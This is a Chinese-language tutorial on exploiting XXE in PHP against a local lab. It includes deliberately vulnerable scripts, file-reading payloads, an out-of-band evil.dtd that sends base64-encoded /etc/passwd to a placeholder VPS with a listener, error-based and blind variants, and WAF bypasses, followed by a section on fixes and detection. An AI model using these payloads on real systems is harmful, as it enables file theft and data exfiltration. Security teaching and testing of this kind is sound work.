上一篇文章把XXE的原理讲透了,这篇直接进入漏洞实战。说实话,XXE漏洞的原理并不复杂,核心就是“解析器信任了外部实体”,但实战中真正能一把梭的情况很少——你会遇到无回显、过滤规则、解析器版本差异、Content-Type不匹配等各种状况,一个环节没对上,payload就石沉大海。这篇文章用一套本地靶场,把从漏洞触发、文件读取,到无回显盲打的完整链路都跑一遍,所有payload均经过本地验证,只用于授权测试和靶场学习。
很多朋友看完原理后最想知道的是:我拿到一个接口,怎么确定它能不能打?发什么包能证明漏洞存在?无回显的时候怎么把数据带出来?这些问题,本文会逐一给答案。整篇文章以PHP环境为例,因为PHP在XXE历史上踩坑最深,触发条件也最容易复现;理解透了,Java、Python、Go环境里换汤不换药。无论你是正在学Web安全的新手,还是需要给内部接口做评估的开发,这篇都值得读完。
1. 开始之前:把靶场和环境一次备齐
1.1 搭建一个有回显和一个无回显的登录解析接口
先把靶场搭起来。我习惯用一套廉价的PHP集成环境,把以下两个脚本丢到web根目录,一个模拟“有回显”场景,一个模拟“无回显”场景,方便对照实验。
第一个是回显场景,后端会把解析后的用户名直接拼进响应里,这在真实业务中非常常见,比如“欢迎您,XX用户”这种提示。
<?php // login_echo.php 有回显版本 libxml_disable_entity_loader(false); // 模拟老版本PHP默认配置 $xml = file_get_contents('php://input'); $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); if ($data === false) { die('invalid xml'); } echo "Hello " . $data->username;第二个是无回显版本,后端只根据解析结果返回成功或失败,不返回任何XML解析出来的字段内容。实战中这类接口占大多数,比如登录判断、订单查询、状态变更等。
<?php // login_silent.php 无回显版本 libxml_disable_entity_loader(false); $xml = file_get_contents('php://input'); $data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT); if ($data->username == 'admin' && $data->password == 'admin') { echo 'login success'; } else { echo 'login failed'; }两个脚本的解析逻辑一样,区别仅在于是否把$data->username回显到页面。前者用来理解payload的效果,后者用来模拟真实渗透中最常见的盲打场景。
1.2 libxml版本差异:为什么同一个payload在不同环境里表现完全不同
这里必须解释一个关键问题:为什么同一个payload在别人的靶场百发百中,到了你手里却毫无反应?绝大多数原因是libxml版本差异。
libxml2从2.9.0版本开始,默认不再加载外部实体,这意味着XXE利用的基础条件被官方从底层掐断了。老版本PHP 5.x自带的libxml通常是2.7.x或2.8.x,解析XML时遇到外部实体会默认去加载,所以那时候XXE几乎是PHP环境的重灾区。PHP 7和PHP 8虽然底层libxml版本更高了,但若开发者在代码里显式传入LIBXML_NOENT,或者使用libxml_disable_entity_loader(false)去强制开启解析外部实体,漏洞同样存在。
注意:判断环境时不要只看PHP版本,关键看实际生效的libxml版本以及解析XML时是否带有
LIBXML_NOENT。用php -r "echo LIBXML_DOTTED_VERSION;"可以快速查当前libxml版本。
靶场里我主动用LIBXML_NOENT模拟历史漏洞配置,是为了让实验可控。真实测试时,如果对方用的PHP 8且代码没显式开启外部实体,XXE大概率无法直接触发,这时要立刻换思路,去翻翻是否有其他第三方组件在背后做XML解析,比如Java的DocumentBuilderFactory、Python的lxml等,它们的默认行为差异很大。
2. 有回显场景:第一次用payload读到文件
2.1 先确认后端在解析XML:探测与改包
拿到目标接口后,第一件事不是直接打payload,而是确认后端到底解不解析XML。很多接口表面是JSON,实际上隐藏支持XML;也有些接口声明了Content-Type: application/json,但后端代码里用file_get_contents('php://input')原样接收,你发什么它就解析什么。
我习惯先发一个正常的XML登录包:
<?xml version="1.0"?> <root> <username>admin</username> <password>admin</password> </root>用Burp Suite抓包后改请求头Content-Type: application/xml,请求体替换成上面的XML。如果响应返回Hello admin或者login success,说明后端确实解析了XML,而且是把请求体直接当作XML来处理的。
接着发一个畸形XML做确认:
<?xml version="1.0"?> <root> <username>admin</username> </root>把闭合标签故意少写一个,如果响应变成invalid xml或直接爆出解析异常,那就百分百确认。有些接口还会把异常信息原样抛给前端,这本身就是信息泄露,后续可以利用报错注入。
2.2 经典实体注入payload及FILE协议变体
确认解析XML之后,进入正题。最经典的XXE读取文件payload是这样:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini"> ]> <root> <username>&xxe;</username> <password>aaa</password> </root>这段payload的核心是两段结构:<!DOCTYPE root [...]>声明了一个文档类型,<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">定义了一个外部实体,实体名为xxe,内容指向Windows系统的win.ini文件。最后在<username>标签里通过&xxe;引用这个实体,让解析器加载并把文件内容替换进来。
为什么首选C:/Windows/win.ini?因为Windows下这个文件必然存在,短小无特殊字符,读取成功率最高。Linux下对应file:///etc/passwd。如果用户名处回显出[fonts]之类的内容,说明读取已经成功,漏洞实锤。
收下经典案例:不要一上来就尝试读etc/passwd或网站的源码文件,先用最短最稳定的文件验证漏洞存在性,再考虑读敏感文件。
2.3 读取源码:过滤器与BASE64的配合
漏洞确认后,最想读取的目标当然是网站源码,特别是处理请求的那段PHP代码。但直接读会遇到一个问题:PHP文件里包含大量<,>,&,"等特殊字符,这些字符一旦进入XML文档会被解析器误认为标签或实体引用,导致解析失败,读取流程直接炸掉。
解决办法是用PHP内置过滤器把内容做base64编码之后再输出:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=login_echo.php"> ]> <root> <username>&xxe;</username> <password>aaa</password> </root>php://filter是PHP流封装协议,convert.base64-encode是过滤器,resource=login_echo.php指定要读取的文件。整个协议串的含义是:读取login_echo.php,对其内容做base64编码,然后将编码结果返回给XML解析器。这样哪怕源码里有各种XML特殊字符,也会被编码成纯字母数字混合的文本,完全不会干扰XML解析。
响应里会出现一串base64字符串,复制出来扔到命令行里解码即可:
echo "PD9waHAKbGli..." | base64 -d解码后就是完整的PHP源码。这一步价值极大,读到了源码就能继续审计数据库账号密码、API密钥、文件路径等一系列敏感信息。
3. 无回显才是现实:盲打的三种可行路线
3.1 外带数据:一条从目标到外部服务器的完整链路
实战里大量接口是无回显的,你发payload过去,响应永远是login failed或success,实体内容被解析了,但不会出现在页面上。这时候就要考虑盲打,最常用也最稳定的是OOB外带。
思路很简单:让目标服务器把读取到的文件内容作为请求的一部分,发送到我们可控的公网服务器上。我在公网VPS上放一个恶意外部DTD,然后在目标接口发起一个请求,触发它加载这个DTD,DTD内部二次读取目标文件,再把文件内容拼到访问我VPS的URL参数里。
先在VPS上放置evil.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://VPS公网IP:8888/?x=%file;'>"> %eval; %exfil;这里解释一下三层嵌套的逻辑。第一行定义了参数实体%file,内容是base64编码后的目标文件。第二行定义了参数实体%eval,注意它内部又定义了一个实体exfil,exfil的SYSTEM地址拼接了%file。由于这里存在实体嵌套,%符号必须写成%的十六进制实体形式,否则XML解析器会直接报错。第三行%eval;触发第二层实体定义,最后%exfil;触发外部请求,把文件内容发送到VPS。
接着在VPS上监听8888端口。用一段极简的Python脚本就能记录请求:
from http.server import HTTPServer, BaseHTTPRequestHandler class Handler(BaseHTTPRequestHandler): def do_GET(self): print("received:", self.path) self.send_response(200) self.end_headers() def log_message(self, *args): pass HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()目标接口发送的payload则简单得多,只负责加载远程DTD:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % dtd SYSTEM "http://VPS公网IP:8888/evil.dtd"> %dtd; ]> <root/>整个链路是:目标解析XML时遇到%dtd;,去VPS加载evil.dtd;加载后执行DTD内部逻辑,读取目标服务器上的/etc/passwd,base64编码后拼接到http://VPS:8888/?x=...,最终VPS上的Python脚本打印出这次请求。
收到请求后,把URL参数里的内容解码就是目标文件内容。实验时注意三点:VPS防火墙必须放行端口、payload里IP必须用公网可达的地址、读取超大文件时参数可能过长导致日志截断,优先读短文件。
3.2 报错注入:不依赖外部服务器的最简尝试
如果目标网络出站受限,连不到外部服务器,可以试试报错注入。思路是把文件内容拼接到一个不存在的路径或协议里,迫使解析器在抛出错误信息时把文件内容一起带出来。
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexist/%file;'>"> %eval; %error; ]> <root/>这段payload的执行逻辑是:先读取/etc/passwd存入%file,再把它拼接到file:///nonexist/这个不存在的路径后面,触发一个无效路径错误。如果解析器在错误信息中原样输出了拼接后的完整路径,那文件内容就跟着泄露出去了。
必须说清楚,这个手法在实战中成功率比OOB低,因为依赖解析器对错误信息的详细程度和libxml版本。很多情况下拼接路径里的特殊字符会导致其他解析错误,看到的不一定是预期内容。但它不需要外部服务器,适合目标完全断外网的场景,值得一试。
3.3 布尔与半盲打:只凭响应差异也能确认漏洞
还有一类接口连报错都不给,但响应内容会随着解析结果产生差异,这就适合布尔盲打。两种常见姿势。
第一种是利用外部请求是否成功造成的时间或状态差异。例如让目标加载一个指向我们VPS的远程DTD,如果能外联,解析可能正常甚至变慢;不能外联,则解析直接失败或更快返回。通过对比响应时间和状态码,能确认目标是否存在SSRF式的XXE外联能力。
第二种更实用,在接口会返回部分字段时使用。比如有回显版本的接口只显示“Hello admin”不显示其他字段,但你可以改变实体值来观察长度变化。把username的值替换为读取短文件的实体,如果响应中用户回显的位置出现了内容变化,哪怕只是换行符变多或长度明显增加,也没有完全无回显时那么难判断。本质上这属于半盲打,要求接口至少暴露一点点可控输出。
三种盲打方案对比如下:
| 方案 | 是否依赖外部服务器 | 成功率 | 适用场景 |
|---|---|---|---|
| OOB外带 | 是 | 高 | 目标可出网,有公网机器 |
| 报错注入 | 否 | 中 | 目标断外网,但报错信息详细 |
| 半盲打 | 否 | 中低 | 接口存在少量可控输出 |
建议优先OOB,其次报错注入,半盲打作为备选。
4. 对抗过滤:换个姿势让payload继续生效
4.1 关键字被过滤时的拆分与转移
目标系统如果做了基础过滤,比如在后端或WAF层匹配DOCTYPE、ENTITY、SYSTEM这些关键字,直接发经典payload会被拦。但这里有个常见的错误认知:以为用doCtYpE或EntitY大小写变形就能绕过去。XML语法是大小写敏感的,DOCTYPE和ENTITY这些关键字本身就是大写,改成小写会导致XML直接解析失败,这条路走不通。
更靠谱的办法是把payload的重心转移到外部DTD文件里。本地请求体只保留一个引用远程DTD的声明,把真正定义实体的部分全部放到VPS上的evil.dtd里。这样本地请求体里可能只剩下<!DOCTYPE root [<!ENTITY % dtd SYSTEM "http://VPS/evil.dtd"> %dtd;]>,很多以“关键词黑名单”为主的过滤规则就不会拦住了。因为在过滤器的视角里,看到的是合法XML声明,而不包含ENTITY xxe SYSTEM "file://"这种高风险内容。这个方法的前提是目标能出网,且过滤规则没有对DOCTYPE做整体禁止。
4.2 编码变形、协议变体与远程DTD
当过滤规则比较严,连外部DTD引用也会被匹配时,可以尝试编码层面的绕过。一个经典手段是把整个请求体按UTF-16LE编码之后发送,同时把Content-Type标注为application/xml; charset=utf-16。很多WAF和网关在正则匹配时只扫描ASCII字节流,UTF-16编码后的XML关键字在高位字节的间隔下会绕过简单匹配,而XML解析器根据编码声明依然能正确解析。这个技巧对正则型过滤非常有效,但部分中间件可能不支持UTF-16,需要实测。
另外,SYSTEM协议本身也有多种变体。除了file://和php://filter,还可能有http://、ftp://、expect://等。各协议用途见下表:
| 协议 | 作用 | 前提条件 |
|---|---|---|
| file:// | 读取本地文件 | 通用 |
| php://filter | 读取文件并做编码转换 | PHP环境 |
| http:// | 发起外部请求,探测内网 | 网络可达 |
| ftp:// | 数据外带、端口探测 | 支持FTP封装 |
| expect:// | 执行系统命令 | 安装expect扩展,极少见 |
实战中如果file://被协议白名单拦掉,可以尝试php://filter绕过;如果内部服务基于内网协议,可以尝试gopher://构造更复杂的请求。协议的支持情况取决于解析器底层实现,不能一概而论,必须逐个试。
4.3 XXE不只在XML接口:其他高发触发点
很多开发者以为只要接口不用XML就安全了,这是很大的误区。XXE的触发点远比想象中广泛。
文件上传功能是重灾区。上传一个SVG图片,SVG本质就是XML,如果服务端解析SVG元数据,就可能触发外部实体加载。更常见的是上传Office文档,docx、xlsx本身是zip压缩包,内部包含多个XML文件。如果后端用相关库解析Excel或Word内容来读取表格数据,Office文档中植入的XXE payload就会随之触发。这类场景在涉及报表导入、简历解析、文档预览的业务里高频出现。
此外,部分网关或集成平台会把JSON请求自动转换成XML再转发给后端服务,或者反过来把XML转换成内部数据结构。这种隐性转换往往不在开发者的预期里,却在解析链路中引入了XXE风险。测试时看到接口接收JSON,不妨试一下直接把Content-Type改成XML,把body换成XML结构,很多接口其实“来者不拒”。
5. 站在防守侧复盘:修复、检测与容易被忽略的细节
5.1 修复不是简单升级libxml
谈到修复,很多人第一反应是升级libxml版本。确实,把libxml升到2.9.0以上能从根本上让默认解析不再加载外部实体,但只依赖底层库版本并不可靠。因为即便libxml版本很高,只要代码里显式使用了允许外部实体的参数,漏洞依然存在。靶场里我特意在解析函数传了LIBXML_NOENT,就是模拟这种人为绕过安全默认值的情况。
PHP代码层面,旧版本可以用libxml_disable_entity_loader(true)禁用外部实体加载,但这个函数在PHP 8里已经被标记为deprecated并在后续版本移除。更稳妥的现代做法是使用LIBXML_NONET选项,禁止网络访问,同时配合libxml2默认行为,确保外部实体无法加载:
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NONET);如果业务根本不需要DOCTYPE定义,最快最彻底的修复是直接在入口处拒绝XML文档类型声明。对于多数内部接口来说,完全可以基于JSON处理数据,从源头上消灭XML解析,自然也就没有XXE的容身之处了。
还需要警惕的是第三方组件。很多系统后端用Java的DocumentBuilderFactory或SAXParser解析XML,这些解析器在不同JDK版本下的外部实体加载配置不一样,默认值历史上也闹出过多轮安全公告。修复时要检查所有解析XML的代码路径,包括Excel导入库、报表引擎、消息队列的消息体解析,这才是完整的止损。
5.2 检测层面的三个常用抓手
防守不能只靠修复,还得能发现攻击行为。检测XXE攻击有三个比较实用的抓手。
抓日志。在网关或接口日志里检索请求体包含DOCTYPE、ENTITY、SYSTEM、file://等特征的POST请求。由于合法业务绝大多数不用XML POST,这类请求一旦出现就值得重点关注。但要配合频率和上下文,不能误伤正常含DOCTYPE的XML报文。
抓出网流量。XXE外带必然伴随着服务器向外部地址发起请求。如果监控发现内网服务器频繁访问陌生公网IP的非常用端口,特别是HTTP请求里带有大段base64参数,基本可以判定有人在做OOB数据外带。在服务器侧通过ss、防火墙日志或流量审计平台定期排查,能捕获大量盲打尝试。
抓解析异常。报错注入和畸形payload都会让XML解析器产生大量异常日志,集中在日志平台里用关键字检索simplexml_load_string、Exception parsing XML、DOCTYPE等,能快速定位被攻击的接口和时间点。把解析异常与访问日志中高频率POST关联起来,就可以定位攻击源。
5.3 一点个人经验
最后分享一个我在测试和防护中反复踩过的细节:接口到底使不使用XML解析,不要全信接口文档。文档写JSON,但实际后端用file_get_contents('php://input')拿到原始body后自动识别的情况真的不少。测试时把Content-Type改成XML直接尝试,成本极低,收益极高。而防守侧也一样——不要只看接口设计文档,要追踪实际代码里解析请求体的每一个分支,包括默认分支和异常处理分支。
另外,payload构造不要贪图一步到位。先读短文件验证存在性,再读源码拿信息,最后才考虑命令执行或内网探测。这个顺序能帮你避开大量因为payload过于复杂导致解析失败、从而误判漏洞不存在的坑。尤其是base64读取源码时,记得先确认目标文件路径是否真实存在,读取不存在的文件只会得到空内容或报错,容易让人误解为payload有问题。